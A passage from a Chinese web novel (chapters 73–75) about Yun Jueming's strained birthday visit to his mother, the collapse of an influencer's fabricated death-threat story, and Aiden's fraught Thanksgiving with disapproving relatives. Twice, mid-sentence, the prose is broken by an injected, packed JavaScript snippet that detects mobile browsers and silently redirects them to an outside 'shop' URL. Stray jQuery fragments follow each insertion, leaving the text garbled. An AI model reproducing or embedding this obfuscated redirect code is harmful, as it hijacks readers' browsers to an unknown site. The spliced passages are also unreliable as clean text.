“但至少,这是这场旷日持久的舆论游戏中,最应该被铭记,也最应值得让人们为之奔走努力的事物。” 艾莉难得地露出了不带讥讽的淡淡笑容。 “最后,我只想说,终其一生,我都在逃避我作为艾登·维尔兰德妹妹的身份。 “然而,这恰恰是我人生中,最值得骄傲的一点。” 说完,她站起了身,只给摄像机留下了一个远去的身影。 昏暗的房间里,唯一的光源就是放在床头柜上的那个南瓜,在透出的明亮焰火中,可以看见阴影描绘了一个背影伟岸的男人,他左右手都各牵着一个孩子。左边是男孩,个子高一些,右边是女孩,身形娇小不少。他们似乎都相互望着彼此,手握得紧紧的,笑声咯咯地从遥远的记忆传来,伴随着南瓜相互投掷的声音与兴奋的尖叫声,没人能把他们分开,即便是烛火熄灭以后,即便是南瓜腐烂以后—— 即便是无可逆转,无法追悔,无以避免的死亡发生以后。 73. Chapter·Twenty 云决明犹豫了几秒,才从副驾驶座上拎起那个生日蛋糕,从车子里钻了出来。 灰绿色的板材房在车道尽头迎接他的归来,一切都没变,斑驳剥落的油漆与黯淡的色调如爬山虎遍布房屋,老式的推拉窗紧紧关闭,脏兮兮的玻璃无人清理,饱受年年夏天窗式空调出场折磨的窗台上处处是划痕,露出底下饱经风霜的木屑。苔藓犹如从地底伸出的魔爪,无处不在地侵蚀着屋子的地基——从来没打开过的车库大门,从外墙攀爬至屋顶的水管,拾步从车道走上门口的石台阶,门前雨棚的支柱,甚至是车道尽头歪斜的信箱。 云决明下意识地往身后瞥了一眼,红色的标记没有竖起,信件已经被取走了。 他一直记得自己十一岁那年第一次瞧见这栋房子,并且知道这将是他未来的家时的情形。他刚刚从继父的Mini Van上走下来,努力从烦闷恶心的晕车感中挣脱出来,他一脚踩在了约州停滞黏腻的夏天中央,七月仿佛蜂团一般的风从他胳膊下掠过,不知怎么地却让他觉得更热了。 眯着眼睛,他仰头看着这栋又旧又老气的房屋,习惯了广州高楼林立的大都市,还有现代风格的水泥房屋的云决明失望透顶,仿佛自己被从五光十色的玻璃球中拽出,塞进了一张过时发脆的贺卡中,只要一阵风飘过,他赖以为生的纸张就会随时碎成一地。 云决明计划过逃跑,梦想过逃跑,实施过逃跑。等他终于成功地摆脱了这栋房子,却又发现自己仍然不得不回来。 今天是11月13日,他母亲的生日。 他等下午的课程结束了以后,才去烘培店拿了早就预定好的蛋糕,再驱车北上,抵达这儿的时候已经是下午五点半了。“需不需要我跟你一起去?”他跟艾登提起自己今天可能不会回家吃饭时,艾登马上提议道,热情得仿佛这是他母亲的生日,“我们可以去约州最大的那间中餐厅打包一大桌饭菜,或者更好——我们去超市买好多食材,给你的母亲做一大桌子饭菜,她肯定会高兴的。” “我一个人回去就好。”他谢绝了。 钥匙熟悉地旋转了半圈,云决明推开了木门。他没有事先打电话跟母亲说他要来,云决明内心隐隐期盼着母亲也许搭某一位租客的车出去买日用品了,这样,他可以留下蛋糕和贺卡,随即便没有心理负担地离开。这么做,既尽到了自己作为儿子的职责,也不必与母亲打照面。 但从门缝里就能瞧见的灯光让这个希望破灭了一半,一走进门便能瞧见站在厨房的那个瘦弱身影更是彻底打消了云决明的念想——他的母亲就倚靠在柜台上,看着好像瘦了些,脸色有点蜡黄,手里拿着一根烟,皱着眉头瞪着炉灶的方向,似在发呆。 云决明不知道她什么时候又重拾了吸烟的旧习,继父不允许她抽,因此她很早就戒掉了。 木门“嘭”地在他身后关上。 “谁——?”尖锐的嗓音立刻发问。 “是我,云决明。”正常人大概会说“你的儿子”,云决明却说不出口,这句话的疏离让他觉得自己是个喜欢出差的房客,离开的时间长到让房东都忘记了自己的房客是谁。 “你怎么——”母亲夹着烟蒂从厨房里走出了一步,神色震惊得就像瞧见了一只闯进家里的熊,她眼里可能还有点别的情绪,但云决明没能捕捉到。她马上就低下头去,视线停留在他手上拿着的那个蛋糕上,“这是什么?” “蛋糕。”云决明举起来让她瞧清楚盒子上花哨的装饰,“生日快乐,妈。” 母亲的表情看起来就像她今天才平生第一次得知自己生日是什么时候。 “你搞这些干嘛,”她迅速转过身,向餐厅走去,顺手把半根烟掐灭在柜台上的一只茶杯里,“我根本不过生日,再说我也不吃蛋糕这些东西,老美总喜欢把蛋糕做得甜得腻死人,吃一口就要得糖尿病,我告诉你,你也少吃点这些东西。” 云决明僵住了,他都不知道自己是怎么挪进厨房的,只知道自己突然就开始整理起冰箱里乱糟糟的食材,想要腾出一个足够的位置放蛋糕。“你不想吃,可以分给地下室的那两个老白吃,”他听见自己竭尽全力保持平静的声音从后脑勺处响起,“也算搞好房东与房客之间的关系。” “那两个老白早就没租了。” “为什么?”云决明回头望了一眼炉灶,母亲在熬粥。 “租约到期了,没让他们租了。”母亲平淡的声音隔着墙传来,似乎经过了几个月的分离,她甚至觉得没有办法与自己的孩子待在同一间厅堂里,“有时候他们两个上夜班,好晚才回来,吵人得很。” “那高谏琦留下的房间呢,你租给谁了?” “没租给谁,我连你的房间都没租出去。现在就等小陈和魏先生的租约到期,今后我也不租了。” “那你的收入怎么办?”云决明几步迈过走廊,母亲就坐在小会客厅里那张她非常喜爱的老式扶手椅上,“你以后出行怎么办,你打算买辆车吗?我还没那么快毕业——” “急什么。”母亲挥了挥手,打断了他的话,“我没张口要你养我,你倒先急了。没了这点租房的收入就没了呗,你以为你妈手上就这点钱,不出租房间就活不下去了?我是懒得费这个事了,自己一个人住还自在清闲。至于车,你别管了,隔壁那个费林先生最近把他的腿摔断了,就算治好也不能开车了。他说如果我帮他买点吃的和日用品,他就把他的车借给我开。” “我是觉得,你把房间租出去,家里会热闹点。而且,你要是有什么事,也能有人照应一下。” “我十八岁就出来打工咯,什么事没经历过,还要一群大学都没必要的小孩子照应,”母亲有点不耐烦,“我说不租了就不租了,我还没死呢,轮不到你对这栋房子指手画脚。” “我不是那个意思——” “粥快好了,你要留下来吃饭吧?”母亲好像根本不想听他的辩解,直接改变了话题。 云决明很想说自己要走了,但他忍下了这股冲动。“嗯。” 过了一会,粘稠湿重的粥端上了餐桌,“你也没说你今天要回来,”母亲埋怨了一句,“我自己一个人吃就随便做了一点,你要是觉得不够吃,一会把那个蛋糕吃了也行,反正我吃不来那种油腻腻的东西。” “没关系。”云决明喝了一口,一如既往的寡淡无味,与艾登精心烹饪的海鲜粥完全不可同日而语,“味道还行,有家的滋味。” 和艾登相处久了,这样讨好的话他也能偶尔说上一两句。 母亲似乎也挑不出什么错来,一时没说什么。 就像他们七年来的相处一样,这顿饭在静默与压抑中继续着。 “对了,我问你件事。” “嗯?” “最近新闻里沸沸扬扬的那个艾登·维尔兰德——”云决明一下子震惊地抬起头来,差点被嘴巴里没咀嚼完的米粒给呛住,“——他是不是——他的父亲是不是十年前被谋杀了?” 云决明差点以为他和艾登合租的事被母亲发现了,没想到她竟然问出了这么一个问题,“对,他的父亲十年前被谋杀了。”想了想,他又欲盖弥彰地加了一句,“U大的学生都知道这一点。” “你跟他认识吗?”母亲冷不丁又追问了一句。 “只是听说过他的名字而已。”用半秒钟思考了一下高谏琦泄密的可能性,云决明最终还是决定相信她,若无其事地应了一句。母亲看起来没有起疑心,“你怎么突然对他感兴趣了?”他不解地问道。 “只是最近他老出现在新闻上,而且消息一天一个样,我以为你是U大的学生,会知道点什么——”你的儿子岂止是知道点什么,根本就是当事人。云决明心想,但他还是不明白母亲怎么会问起艾登父亲被谋杀的事,“小陈之前还跟我说,网络上又有新消息爆出来了,说那个唐泽茹的直播都是他逼迫的,然后校董会议的视频也只是摆拍而已,你看看,事情老是一会一个样,谁知道该相信什么?” “妈,那个消息都是差不多一个星期以前的事了。”他哭笑不得地说道。 万圣节过后,他和艾登都以为唐泽茹这件事已经终结了。艾莉和黎疏眠忙着筹备网站的事宜,艾登没了比赛和训练,便把多出来的时间全部都投入到与云决明一块做受害者侧写一事上,生活似乎又逐渐回到寻常的轨迹——至少在11月7日,北美吐槽君上突然爆出那则惊天动地的投稿以前,所有人都是这么想的。 “屡次搬家仍然被跟踪,被逼直播撒谎却仍然被骚扰,是不是我死了这一切才会消停?” 看见这则投稿的时候,云决明,艾登,还有艾莉都在黎疏眠的公寓里——11月4号是黎疏眠的生日,11月9日是艾莉的生日,因此他们干脆挑了一个居中的日子为她们两个共同庆祝。艾登买了一大堆菜,扬言要尝试做一大桌墨西哥菜,一抵达公寓就钻进厨房里去忙活了,云决明本来带了几盒桌游过来,打算大家一起玩,谁知道黎疏眠和艾莉这两个工作狂连在自己的生日派对上都不打算休息,他只好去厨房给艾登打下手。 “你打算给艾莉送什么礼物?”洗墨西哥辣椒时,云决明悄悄凑到艾登耳边问道。他一直说这是个惊喜,连云决明都不肯说,生怕他会泄露给艾莉,“今天是她们两个的生日派对,你可以告诉我了吧?” “说的也是——我原本打算给她买个高定晚礼裙,这样她就能在学校圣诞晚会上穿了。但我转念一想,艾莉已经满16岁了,可以考驾照了,”艾登同样压低了声音,“更何况我又从威尔逊校长那儿拿回了我那五万美金的支票——长话短说,我用这笔钱给艾莉买了一辆红色的雷克萨斯CT200H。” “一辆跑车?”云决明吃了一惊,手里的辣椒撒了一水池。他记起了艾莉跟自己说过的话,他直觉艾登的母亲不会为自己儿子的这个决定高兴的。 “我知道,我知道,给一个16岁的女孩买一辆昂贵的跑车当生日礼物确实有点夸张,但是她都在那个‘TAA告别视频’里说她有多么为是我的妹妹而感到骄傲了,我怎么可能不给她买个好点的礼物——” 艾登的话被黎疏眠打断了。 “你们得来看看这个。” 她站在厨房门口,神色凝重地说道。 “差不多一个星期以前发生的,又怎么了?”母亲有些不解,“我前两天才从小陈那里得知的,我又不会玩你们年轻人玩的那些微博,我也不知道后来发生了什么。” 母亲很少会关注别人的事,更别说艾登这么一个年轻人了,云决明直觉这是她没话找话说的借口。 “我的意思是说,这件事已经解决了。”云决明耐心地解释道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041250|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “怎么解决的?” 唐泽茹的投稿,简单地总结一下,就是她宣称自己的性命受到了维尔兰德家的威胁。 起因应该是因为她倒卖假包的奢侈品牌给她寄去了要求赔偿的律师文件——这点是艾莉发现的——意识到自己的直播并没有换回她自认为黎疏眠与艾莉会做到的保密,可想而知唐泽茹会有多么愤怒,多么不甘心。 她伪造了多份血淋淋的威胁信件,内容大同小异,都警告她死期将近,无论她逃到哪里,都无法真正逃脱。她说她直播时的内容完全是按照维尔兰德家写的稿子照着念的。她还说她已经搬了五次家,都仍然能在窗外发现有可疑人士在屋外徘徊,她认为自己死期将近,反正横竖都是一死,还不如把真相说出来。 黎疏眠怀疑唐泽茹用这一招,是打算假死玩消失,好摆脱唐泽茹这个身份背负的法律官司,同时也有助于她之后黑在美国,避免回国后面临更加严重的牢狱之灾。她这时候发出来,估计也不指望有多少人能相信她,只是想为她今后的假死发篇预告,还能顺手泼艾登一盆脏水。 但她万万没有想到的是,由于她把事态描述得极为严重,仿佛她随时都有可能被凶残地谋杀,一部分善良的网友便着急忙慌地联络了中国驻美大使馆,希望他们能介入保证中国公民在海外的生命安全,大使馆也确实第一时间响应了。 原本艾莉和黎疏眠还打算再一次联合出手,直接将唐泽茹在国内的黑历史全部曝光,然而一听说大使馆要揭露这件事,她们便悠然收手,等着看好戏了。 套用云决明在这个过程中从网络上学到的一个新词——唐泽茹这次彻底玩脱了。 先是北美吐槽君死活不肯向大使馆交出唐泽茹投稿的微博号,理由是担心泄露后会让她遭遇新一轮的网暴,即便工作人员再三保证他们绝对不会泄露唐泽茹的微博,北美吐槽君都仍然不肯配合,顾左右而言他,甚至直接玩起了消失。 发觉无法通过社交媒体直接联系上唐泽茹以后,大使馆的工作人员只得联系了当地的警察局,请他们提供唐泽茹最后已知的居住地址。警察局那边告诉大使馆的消息是:唐泽茹只在九月时搬过一次家,之后就再也没有去DMV(美国车辆管理处)更新过地址了。虽然觉得唐泽茹很有可能已经搬去朋友家暂住,大使馆仍然抱着试试看的心态,和警察一块上门了。 结果,唐泽茹根本没有如她声称的那般搬了五次家,她就躲在这个公寓里,被直接破门而入的美国警察吓得瑟瑟发抖,没命地尖叫数分钟才被大使馆的工作人员安抚下来。她根本没有胆子跟大使馆的人撒谎,一五一十地什么都承认了,甚至连这一次投稿是她在不甘心之下与北美吐槽君这个营销号的合作都全盘托出——北美吐槽君能借这件极容易激发中国人同情心的事件扩大影响力和知名度,而她则能趁机捞到一笔钱,让自己在假死后的一段时间内可以不愁吃喝。毕竟,一个死人是不太好从银行账户里取钱的。 这件事发生以后,中国驻美大使馆只是简单地发了一则声明,说已经处理好了唐泽茹性命遭受威胁一事,并且确认了她的人身安全可以得到保障。然而,其中一位工作人员却直言不讳地在微博上点出了真相:抱着“宁信其有,不信其无”的心态,她和其他多名职员连着两天不眠不休,在与北美吐槽君联系的同时,也忙着与当地警方沟通,不断地递交各种各样的证据,希望对方能看在事态紧急的份上法外开恩,提供唐泽茹的住址,甚至不惜搬出了一点外交压力好加快对方处理此事的速度,到最后,只让大使馆那些心急火燎的工作人员在美国警察前闹了一个大笑话。 如果说唐泽茹之前几次撒谎,消耗的不过是网友的同情心和时间的话,这一次,她玩弄的就是中国驻美大使馆工作人员急切地想要保护中国公民的心情,没有哪个中国人会原谅她的这种行为。 无数网友联合起来,轻而易举地就找到了她出国前摆脱的旧身份——詹妤敏。唐泽茹可以在海外注销自己的手机号和邮箱,躲到旅馆里逃避网友的人肉和骚扰,但她的家人做不到这一点。她的父母,她的亲戚,甚至是她的小学老师,中学校长,所有但凡能与詹妤敏这个身份沾上一点边的人都无可避免地被卷入了这场报复的风波中,成为网络上被盛在盘子里任人宰割享用的人肉盛宴,丝毫没有还手之力。相比之下,北美吐槽君因此被封号,倒成了最不起眼的一件新闻了。 “事情就是这么解决的。”云决明结束了讲述,这似乎是他有记忆以来跟母亲交流过的最长的一段对话了,他说得口干舌燥,粥都忘了喝,变冷的米粒已经在碗里凝结成了一团团粉块,令人大倒胃口。 “那艾登·维尔兰德是怎么看这件事的?”云决明以为母亲会问与唐泽茹有关的事情,谁知她沉吟了几秒,又把话题绕回了艾登身上,“失去父亲没让他变成一个没有教养,没有良心的孩子吧?” “不,他——” 云决明刚想说点什么,就感到裤兜里的手机急促地震动了起来。 “稍等我一下,妈,让我看一下是谁——” 他掏出了手机,却发现那并不是电话,而是艾莉同时发过来的十几条短信。 “唐泽茹自杀了。” 这几个字冰冷冷地站在通知栏的顶端,与惊讶的云决明静静地对视着。 74. Chapter·Twenty-One 感恩节的一大清早,艾登是叹着气走下楼的。 Ming已经在厨房里煮咖啡了——不管放假还是不放假,他永远都在早上六点半起床,简直自律得可怕——闻声抬起头来,淡淡的笑意和咖啡香气一起在这个清晨蔓延,“你是回家吃感恩节晚餐,又不是要去面对枪林弹雨,”他说,“没必要苦着一张脸。” “如果不是有你跟我一起回去,我都要找借口说我自己病了。”艾登再次重重地叹了一口气,“好不容易所有的风波都平息了——自杀未遂的唐泽茹被她的家人带回国内,中国国内的网暴行为和美国这边的舆论风暴都因为她自杀的消息平息了不少,热度也下去了,不必担心会有什么出乎人意料的突发事件再次发生。我只想无忧无虑地待在家里,享受安宁的日子——等失去的时候才知道这样的日子有多么宝贵,此话不假。” “艾莉不是说了,除非你病到了要进ICU的地步,否则你就必须回家过感恩节,不然奶奶就要亲自上门揪人了?”Ming把一杯刚做好的咖啡递给他。经过艾登几个月的努力,Ming总算被他的精细厨艺养得圆润了些,这点好不容易添上去的肉对他外表的改变是巨大的,从前Ming只能勉强用“清秀”形容,如今哪怕是最挑剔的女生估计都认为他担得上“英俊”二字。去华人超市购物的时候,艾登(一直带着墨镜)也注意到有不少女生会回头打量Ming了。 一想到那一幕,艾登就有种自己窝藏已久的珍宝不小心漏了点光,结果被别人瞧了去的酸涩感。 “所以,”艾登又叹了一口气,如果叹气的次数也能有吉尼斯世界纪录的话,他大约已经拔得头筹了,“我只能祈祷有你在,爷爷奶奶,还有我妈不会问什么奇怪或令人尴尬的问题了——我尤其希望妈妈不会因为我给艾莉买了辆车而把我狠狠骂一顿。” 到了下午三点,他们便准备出发了——维尔兰德家的传统是感恩节晚宴必须正装出席,艾登还是第一次瞧见穿西装的Ming,看着活像是一个正襟危坐,寡言禁欲的年轻英俊牧师,让人挪不开眼睛。他的领结系得有些歪,艾登禁不住走上去替他整理了一下。 “不怎么经常穿西装?”他问道,松开了领结,“你差点就把这个打成死结了。” “这是我为高中毕业典礼购买的西装,就穿了那么一次。”Ming有点不自然地退后了一步,别开了脸,又被艾登扯着领子拉回来了一点,“但那时候穿了学术袍,根本看不见上半身,所以我没有打领结——这还是我刚才在油管上搜教程现学的。” “你应该让我教你的。”艾登心不在焉地回了一句,视线不由自主地被领口锁骨下涌起的血色吸引了,跟随着一路滑过喉结,越过下巴,最终与潮红共同停留在Ming的侧脸上。他熟练的手指突然慢了下来,失了方寸,好像在绕指缠绵间,它们也在害羞地与绸布玩着捉迷藏,不是想要牢牢束缚住不可侵犯的领口,而是想把一切拆开,先是领结,再是纽扣,最后是—— “艾登?”Ming声音好像是从大脑深处传来的,一下子拉回了艾登失焦的目光,他朝自己的手指看去,发觉不仅本来已经打好的领结又被他解开了,连同解开的还有Ming的第一颗纽扣。 “我刚才一下子忘了要怎么给别人系领结,”他心虚地为自己辩护着,飞快地为对方扣上了口子,还尴尬地拍了拍,又用自己平生最快的速度,在几秒钟内就给Ming飞快系好了一个完美对称的领结,“好了,搞定了!我们走吧。” 驱车往家开去的路上,艾登都不敢与Ming对视,也不敢随便挑起话题,只好把音响开得震耳欲聋,黑人说唱歌手声嘶力竭怒吼了一路,等他拐上往家开去那条幽静小道时,他瞧见不少悠闲地在人行道上遛狗的邻居都吓得伸长了脖子打量他这辆车,似乎以为哪位戴金链子的黑人暴发户大驾光临了。 他刚把车停在车道上,艾莉就从屋子里走了出来。艾登敢打赌自己这一生从来没因为能见到她而如此高兴,手还在转着钥匙熄火,艾登已经打开了车门,“艾莉!”他热情地招呼着,“过来帮忙牵一下洛克希好吗?” “你来得时机刚刚好,”艾莉抱起了双臂,“奶奶还说,要是你再不出现,她就要亲自开车去你的公寓了。我建议你一会嘴巴甜一点,然后——”她这时已经走到了艾登面前,便压低了声音,“爷爷想跟你单独谈一谈。” “我和他没什么好谈的。”艾登戒备地说道,“行行好,帮我找个借口推掉。” “别以为我在视频里承认了我作为你的妹妹很自豪这件事,就以为可以把我当助理使唤了,”艾莉冲他翻了一个大大的白眼,“你不想跟爷爷谈,你自己去说,我会提前跟你说一声让你有个心理准备,已经很不错了。” “嘿!”艾登抗议道,“我可是给你买了一辆跑车!” “而这就是为什么我提前跟你打了声招呼的原因,”艾莉绕过他,打开后座门让早就急得不行,又不敢在没有得到指令情况下随便乱动的洛克希牵下来,顺手还拍了拍艾登的肩膀,“你好自为之吧。要是你在感恩节这天跟爷爷吵翻了——那可就是最讥讽的事了。” 艾登怀着忐忑不安的心情走进了屋子——却惊讶地发现客厅里挤满了十来个客人,全都是维尔兰德家的亲戚。他爷爷的姐姐和哥哥,他父亲的几个堂兄弟姐妹,以及他自己的从兄弟姐妹们,全都来了。艾登心里涌起了一种非常可怕的直觉:这些亲戚八成都是因为听说他最近的事情,才打算在感恩节前来拜访他们家的。除了艾登一家,其他维尔兰德家族的亲戚都住在约州北部——车道上没停着他们的车,多半是专门租车过来的。 唯一的好处就是,妈妈和爷爷此时都在忙着招待这些亲戚,无论是谁都根本分不出来身与艾登谈谈。让他松了一口气。 “艾登!”一个他九岁以后就再也没见过面的从弟眼尖地瞧见了他,艾登记得他现在也在U大上学,只不过因为学医而在另一个学区上学,两个人从来没碰见过,“好久不见啊,老兄!”他快步走过来,伸出手热情地跟艾登握了握,这种热乎劲艾登以前从未见过,他的曾祖父母是同意了爷爷与奶奶之间的婚事,但不代表其他的亲戚也觉得这门亲事门当户对,尤其当他的父亲又娶了一个中国女人以后,认为艾登和艾莉根本算不上是维尔兰德家族成员的言论就一直不曾中断过。在艾登的记忆里,这些从兄弟姐妹对他和妹妹的态度都很冷淡,跟他们的父母如出一辙,而且几家人之间几乎没有任何来往,至少艾登就没去过他们家过过感恩节。 “你好……瑞恩。”艾登花了两秒钟才想起他的名字。 “老天,你最近经历的事情可真多,我身边的每一个人——我的意思是,字面意义上的每一个人——都在议论你。U大真不该把你从球队开除出去,这太不公平了。不过,话说回来,后来事情怎么样了?我听说那个女孩自杀了,这不会是真的吧?她真的被人强煎了吗?还是说跟她在直播里承认的那样,是用酒瓶子干的?” 谢天谢地,这时候牵着洛克希的艾莉和Ming走了进来,艾登立刻转身揽住了他,“跟你介绍一下,”他说道,“这是我的second cousin,瑞恩。瑞恩,这是我最好的朋友,Ming——不用伸手,瑞恩,Ming是中国人,他们不握手的。” 这句话当然不是真的,但是艾登知道瑞恩对中国见面习俗一无所知,不可能知道自己这么说只是为了保护不喜欢跟陌生人有肢体接触的Ming。瑞恩缓缓地把手收了回去,淡淡地露出了笑容,“你把你的中国好朋友带到了家人团聚的感恩节晚宴上?” 他语气中的轻慢即便用假笑也难以遮掩,洛克希耳朵一动,喉咙里发出了警告的呜呜声。 “你的狗怎么了?”瑞恩吓得后退了一步,“难道你没教它要对客人有礼貌吗?” “噢,我当然教过。”艾登摸了摸挡在Ming身前的洛克希,皮笑肉不笑地望着瑞恩,“但是洛克希保护欲非常强——罗纳威都这样,它们可以精准无误地察觉到人类情绪中的敌意,并且迅速做出反应。” 洛克希亲昵地舔了舔艾登的手,用鼻尖蹭着他的手心。瑞恩刚想开口,它又迅速抬起头,恶狠狠地瞪着瑞恩,锋利雪白的犬齿从它微微掀开的嘴唇旁显露,瑞恩不由自主地又退了一步。还好,这时候客厅里的其他亲戚都发现了站在门厅里的艾登,艾莉,还有Ming,便纷纷起身过来打招呼。瑞恩可能又说了什么为自己辩解或者是指责洛克希的话,但艾登根本听不到,他已经被同时响起的七嘴八舌的问候淹没了。 花了很久,他才把Ming一一介绍给自己所有的亲戚。他看得出来他们或多或少都对自己家显而易见的“亲中国人倾向”颇有微词,只是表现得明显与否的问题。而且,不出他所料,每个亲戚都想打听一嘴前段时间发生的事情——那个中国女留学生真的死了吗?她现在在哪?事情解决了吗?他以后还能回到橄榄球队吗?杰森因为嗑药被开除的事是真的吗,还是说他才是那个性侵了女留学生的人?他父亲打算出面解决这件事吗? 年轻的从兄弟姐妹们关心的是事情背后劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041251|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爆有汁的内幕,年纪与自己父母相仿的叔伯叔母们关心的则是这件事对家族声誉的影响有多少,艾登父亲创办的出版公司(这些亲戚们都持有股份)股价今后还会不会再一次因为这件事产生波动?爷爷从曾祖父母那儿继承的地产价值有没有被这些丑闻所连累?而他的祖姑母和叔祖父两个人则一上来就迫不及待地数落了艾登一顿,说他如果愿意接受家族的帮助的话,这事情还没走到被报纸曝光那一步,就已经结束了。 亏得Ming和艾莉都跟在艾登的身边——虽说Ming的脸色因为人多有点苍白,但他没有出现生日派对上那么严重的反应——每次那些亲戚们试图抓住一个话题不放的时候,艾莉就会适时插嘴,指出还有哪个亲戚没有认识Ming,并以此为理由终结话题,好让艾登能脱身。实在无法金蝉脱壳的时候,艾莉就不得不留下来吸引对方的注意力。有时候,艾登也会选择让Ming来回答问题——在这种事情上他们的默契十足,Ming又是一个凭着肢体和表情就能揣测出别人心意的人,艾登根本不必用眼神示意,Ming就知道他想要自己做什么。Ming的寡言少语让他成为了完美的话题终结者,用来打发好奇又八卦的从兄弟姐妹们再好不过。“那个中国女留学生死了吗?”“不知道。”“她真的自杀了?我听网上的人说她真的自杀了。”“那你去问网友吧。”两句简单的话,就直接噎住了艾登的一个从妹,让她愣在那儿半天都没回过神来。 “我觉得我老了十岁,”等这场漫长的问候好不容易走到尾声,艾登,Ming,还有艾莉用不同的借口逃离了客厅,躲进了爷爷的桌球室。他一把栽倒在沙发上,头靠在先来一步的Ming肩上,痛苦揉着自己脸上因为假笑而僵硬的肌肉,“艾莉,你为什么不告诉我这么多亲戚都来了?” “我要是告诉你了,保证你会立刻买两张出国机票,和Ming不知道跑到世界哪个角落里快活去了。”只比他迟来一步的艾莉也在揉自己的脸,夸张地坐着各种嘴型放松自己的肌肉,她的声音听上去怪怪的,“你知道如果你今天不出席这场聚会会有什么后果,那几个手握股份的叔伯叔母肯定会觉得唐泽茹的丑闻还没结束,今后还会对公司的股价造成影响。爸爸去世以后,他们本来就想把他一手创立的公司独吞,全靠妈妈这么多年来经营有道,才保住了爸爸留下的遗产。你不能给他们质疑妈妈应对危机能力的把柄。” “我觉得这就是他们特意赶来参加这场感恩节晚宴的原因——弄清楚这场丑闻到底是怎么回事,会不会影响他们的利益和金钱。你听见安德森叔伯的话了吗?他就差直接说出‘要不是你们家这么喜欢跟中国人打交道,也不会出这种事’这句话了。要不是因为怕让奶奶和妈妈下不来台面,我恐怕会当场与他吵起来。” “冷静,艾登。”艾莉左右扭着自己的脖子,“想想妈妈和奶奶,她们这么多年都忍受过来了,我们只要再忍几个小时,便又有几年不必与他们打交道了。” “还好今天你也来了,Ming。”艾登叹了一口气,伸出拳头与他碰了碰,“不然我都不知道要怎么撑下去——” 桌球室的门突然被拉开了,说时迟那时快,艾莉在同一瞬间,也以迅雷不及掩耳之势挤进了艾登与Ming中间,把他们两个都吓了一跳,下意识地向两边避让了开来,艾登在一秒之后才来得及回头看看进门的是谁,发现是妈妈。 “晚餐已经准备好了,你们三个怎么躲在这?”她一手扶着门框,探询的视线扫视着他们三个。艾登根本不知道她是怎么做到镇定自若,滴水不漏,面面俱到地应付那些难缠又瞧不起她的亲戚们的,被他们摧残了一下午,妈妈看起来仍然神采奕奕,妆容一点都没花,仪容完美无缺,“迟到可不太好,艾登,艾莉,你们很清楚这一点。” “我们这就过去,妈妈。”艾登应了一声,“只是得先去洗洗手。” 妈妈点了点头,便离开了。等高跟鞋哒哒的沉闷脚步声远去,艾莉才松了一口气,“你不用谢。”她瞪了艾登一眼,站了起身,抚了抚长裙上的褶皱,“在这个家里,你还是注意点好,别以为你还在自己的公寓里,想怎么样就怎么样。” 说完,她也从半掩的房门离开了,只留下艾登不解地望着Ming。 “她在说什么呢?我没干什么啊——她是觉得妈妈听见了我们对那些亲戚评头论足的话吗?” “我不知道。”Ming轻声回答,也站起了身。 尽管他离开的速度很快,但艾登还是捕捉到了他一闪而过的,非常阴沉的神色。 75. Chapter·Twenty-Two 等把所有的亲戚都送上豪华的大型保姆车,僵着脸笑着站在门口向他们挥手说再见时,艾登早就将他的爷爷想跟他谈谈这件事抛到了脑后。 晚饭可以算得上是他有生以来最难熬的一顿饭了——一共有二十三个人参加这次晚宴,因此妈妈不得不临时加订了十一张椅子,费劲地塞进了原本只能容纳十二个人的餐桌,大家全都手肘碰手肘地挤在一块。困难地在比平时少了一半的空间里费劲地切着火鸡,火鸡馅料,火腿,肋排,土豆泥,青豆泥,圆面包和南瓜派,酒杯还没举起来,就已经响起了一片叮叮当当的碰撞声。 这种狭小的空间进一步地激化了原本就剑拔弩张的气氛。 第一道菜还没有端上来(晚饭是由专门请来的大厨团队做的),艾登的叔伯就已经就他的专业选择喋喋不休地发表了整整五分钟的想法,认为犯罪司法将来既不可能帮助艾登当上大法官或者是律师,更不可能接手他父亲创办的出版公司,极其无用,建议艾登早日更换为一个“更体面,也更有前程”的专业。 艾登气得不轻,但他知道,如果他真的在饭桌上发了一通脾气,只会落人口舌,给这些亲戚批判他母亲的把柄,因此全程脸上都憋着礼貌的微笑,内心则学着艾莉的模样冲对方翻了十七八个白眼。 但这还不算是最糟的。 他这边还在忍受着叔伯对犯罪司法专业的奚落与不屑,另一边的叔母们也没有轻易放过艾莉,她们对艾莉竟然选择创立一个网站为那些在学校遭受兄弟会成员性侵的女学生提供帮助感到非常不解,觉得这会让人们一直记着这段维尔兰德家的丑闻——说白了,就是因为艾莉要起诉的校董们人脉关系遍布整个三角洲地区,几乎涵盖了她们挑选未来女婿的整个范围,她们才极力反对,生怕这会对她们女儿未来的婚事造成影响。然而,这显然不是一个说得出口的原因,因此,整整两个小时的晚饭过程中,艾登就一直聆听着艾莉与那些叔母们进行着形如催眠一般车轱辘对话,在“你为什么不能专注在其他的慈善事业上呢?”与“这就是我唯一想要专注的慈善事业。”之间来回拉扯。 然而,这也不算是最糟的。 